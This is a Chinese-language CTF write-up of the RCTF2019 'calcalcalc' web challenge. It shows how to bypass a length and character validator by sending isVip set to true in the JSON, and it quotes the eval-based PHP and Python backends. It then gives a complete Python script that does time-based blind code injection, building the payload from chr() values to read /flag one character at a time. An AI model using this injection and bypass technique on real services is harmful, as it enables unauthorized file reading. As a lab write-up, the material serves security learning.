CTF Web安全

[RCTF2019]calcalcalc (盲注)

Posted on 2020-06-08,3 min read

github下源码。
打开index.hbs。


他会请求calculate
对应calculate.model.ts

继续看expression.validator.ts

这里isVip如果是False。就会判断。输入的长度不能超过15。并且输入的字符只能是正则中的字符。
但是。这里isVip默认就是False的。
那么可以直接传一个json。其中带有isVip属性为true
{"expression":"1111","isVip":true}
然后分别有三个后端。

<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

同时禁用了很多函数。

    expr = bson.BSON(data).decode()
    if 'exec' in dir(__builtins__):
        del __builtins__.exec
    return bson.BSON.encode({
        "ret": str(eval(str(expr['expression'])))
    })

限制了执行系统命令的函数。那么可以用盲注
试了下sleep(5)。成功延时5秒。
问题来了。。eval中可以用eval(eval())嵌套执行。但是有些字符不能用。并且.也被ban了。不能用chr(xx).chr(xx)来执行。
再想想python。可以用chr(xx)+chr(xx)。并且也支持eval(eval)嵌套

import requests
import time
x=''
def getpayload(num,mid):
    payload="__import__('time').sleep(5) if (ord(open('/flag','r').read()["+str(num)+"])>"+str(mid)+") else 1"
    data=''
    for i in payload:
        data+='chr('+str(ord(i))+')+'
    return('eval('+data[:-1]+')')
url='http://62e44b9b-0d83-4e04-919b-be0ae81e0a68.node3.buuoj.cn/calculate'
for a in range(0,60):
    max = 130
    min = 30
    while max >=min:
        mid=(max+min)//2
        payload=getpayload(a,mid)
        time1=time.time()
        r = requests.post(url, json={'isVip': True, 'expression': payload})
        time2=time.time()
        if (time2-time1>5):
            min=mid+1
        else:
            max=mid
        if max==mid==min:
            x+=chr(mid)
            print(str(a)+':'+x)
            break

用chr()构造字符。然后+拼接。eval执行一次。得到payload。然后再由系统自带的eval执行一次。执行payload
__import__('time').sleep(5) if 读取文件的第一个字符>xx else 1
进行盲注

下一篇: RACTF(Web)→